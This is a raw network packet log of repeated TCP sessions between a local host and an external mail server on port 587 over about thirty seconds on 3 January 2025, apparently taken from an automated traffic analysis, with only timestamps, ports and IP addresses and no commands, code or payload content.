Jan 3, 2025 09:50:30.594361067 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:30.735848904 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:30.736017942 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:30.740840912 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:30.884963989 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:30.885504961 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:30.890367031 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.039119005 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.039134979 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.039145947 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.039217949 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:31.041294098 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:31.047068119 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.189111948 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.190057993 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:31.194854975 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.335901022 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.336204052 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:31.341042042 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.482498884 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:31.482903004 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:31.487736940 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.132388115 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.132585049 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:33.137389898 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.280258894 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.281138897 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:33.281213999 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.281277895 CET	50004	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:33.282255888 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:33.285903931 CET	587	50004	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.287092924 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.287195921 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:33.867153883 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:33.867358923 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:33.872209072 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.022022963 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.022195101 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.027024031 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.173085928 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.173506975 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.178302050 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.333595991 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.333622932 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.333635092 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.333647966 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.333694935 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.333718061 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.335398912 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.340157032 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.483278036 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.508599043 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.513351917 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.656450033 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.665016890 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.669810057 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.813194036 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:34.813616037 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:34.818366051 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.465892076 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.466120958 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.470865011 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.625351906 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.625591993 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.625637054 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.625946045 CET	50005	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.627777100 CET	50006	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.630749941 CET	587	50005	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.632585049 CET	587	50006	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.632679939 CET	50006	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.713572025 CET	50006	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.715291977 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.718462944 CET	587	50006	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.718518019 CET	50006	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:36.720025063 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:36.720084906 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:37.309312105 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.309514046 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:37.314507961 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.455212116 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.464310884 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:37.469055891 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.610456944 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.618324041 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:37.623161077 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.776032925 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.776164055 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.776175976 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.778290987 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:37.790915966 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:37.795687914 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.936311007 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:37.938299894 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:37.943120956 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:38.083498001 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:38.083931923 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:38.088773012 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:38.230043888 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:38.230360985 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:38.235121012 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.499609947 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.503395081 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.508192062 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.648698092 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.649642944 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.649710894 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.651101112 CET	50007	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.655993938 CET	587	50007	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.725701094 CET	50008	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.730588913 CET	587	50008	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.730659008 CET	50008	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.979114056 CET	50008	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.981758118 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.984002113 CET	587	50008	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.984057903 CET	50008	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:40.986634970 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:40.986702919 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:41.567529917 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:41.572449923 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:41.577236891 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:41.718300104 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:41.720510006 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:41.725316048 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:41.867446899 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:41.868891001 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:41.873696089 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.025875092 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.025908947 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.025918961 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.025937080 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.025998116 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:42.026030064 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:42.028709888 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:42.034126043 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.175487995 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.176414967 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:42.181291103 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.322338104 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.324687958 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:42.329415083 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.479150057 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:42.479633093 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:42.484421015 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.134371042 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.136373043 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:44.141171932 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.282270908 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.283251047 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.284866095 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:44.285204887 CET	50009	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:44.289948940 CET	587	50009	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.289979935 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:44.294852972 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.296520948 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:44.844724894 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.844961882 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:44.849756956 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:44.998063087 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.000329971 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.005501032 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.149806976 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.153328896 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.158107996 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.310805082 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.310818911 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.310830116 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.310841084 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.310939074 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.311002970 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.336476088 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.341279030 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.483325958 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.498322010 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.503097057 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.644766092 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.646804094 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.651926994 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.793685913 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:45.795301914 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:45.800077915 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:47.570410013 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:47.570651054 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:47.575561047 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:47.719250917 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:47.719672918 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:47.720320940 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:47.720480919 CET	50010	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:47.721894979 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:47.724504948 CET	587	50010	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:47.726813078 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:47.726903915 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.316262007 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.316601038 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.321459055 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.469990969 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.470426083 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.475240946 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.629125118 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.629681110 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.634507895 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.792752028 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.792764902 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.792776108 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.792798996 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.792829990 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.792856932 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.795607090 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.800411940 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.945604086 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:48.946959019 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:48.951744080 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:49.097398043 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:49.097589970 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:49.102371931 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:49.247987986 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:49.252017021 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:49.256783962 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:49.604569912 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:49.609667063 CET	587	50011	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:49.612265110 CET	50011	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:49.612565994 CET	50012	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:49.617384911 CET	587	50012	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:49.617522955 CET	50012	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.223186970 CET	587	50012	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.224482059 CET	50012	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.229334116 CET	587	50012	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.375241041 CET	587	50012	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.376555920 CET	50012	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.381458998 CET	587	50012	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.527859926 CET	50012	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.528449059 CET	587	50012	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.528520107 CET	50012	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.531325102 CET	50013	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.532886028 CET	587	50012	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.532941103 CET	50012	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.536225080 CET	587	50013	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.536294937 CET	50013	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.745471954 CET	50013	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.747952938 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.750336885 CET	587	50013	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.750392914 CET	50013	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:50.752768993 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:50.752901077 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:51.379297018 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.379470110 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:51.384308100 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.530893087 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.531191111 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:51.536068916 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.683324099 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.683808088 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:51.688649893 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.842519045 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.842534065 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.842545033 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.842556953 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.842639923 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:51.844352961 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:51.849184990 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.995769024 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:51.997381926 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:52.002161980 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:52.148762941 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:52.153143883 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:52.157979965 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:52.304590940 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:52.304995060 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:52.309819937 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:54.460776091 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:54.464759111 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:54.469588041 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:54.616059065 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:54.616635084 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:54.617343903 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:54.617403030 CET	50014	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:54.617849112 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:54.621454954 CET	587	50014	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:54.622642994 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:54.622740030 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:55.208493948 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.212884903 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:55.217833996 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.472265005 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.472424984 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:55.478008032 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.624483109 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.625103951 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:55.629885912 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.783386946 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.783405066 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.783417940 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.783580065 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:55.788667917 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:55.793456078 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.938817978 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:55.952492952 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:55.957454920 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:56.102108955 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:56.108112097 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:56.112884998 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:56.257927895 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:56.258327007 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:56.263155937 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:58.469609976 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:58.469850063 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:58.474705935 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:58.620291948 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:58.621730089 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:58.621793032 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:58.641882896 CET	50015	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:58.643959999 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:58.647202969 CET	587	50015	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:58.649167061 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:58.649228096 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:59.198458910 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.199182034 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:59.203964949 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.426522017 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.426698923 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:59.431771994 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.575850010 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.577011108 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:59.581799030 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.738137007 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.738169909 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.738181114 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.738306046 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:59.739811897 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:59.744642973 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.888154030 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:50:59.892349958 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:50:59.897181034 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:51:00.040344000 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:51:00.040623903 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:51:00.045391083 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:51:00.188647985 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:51:00.188960075 CET	50016	587	192.168.2.5	208.91.199.115
Jan 3, 2025 09:51:00.193742990 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:51:02.347546101 CET	587	50016	208.91.199.115	192.168.2.5
Jan 3, 2025 09:51:02.347817898 CET	50016	587	192.168.2.5	208.91.199.115
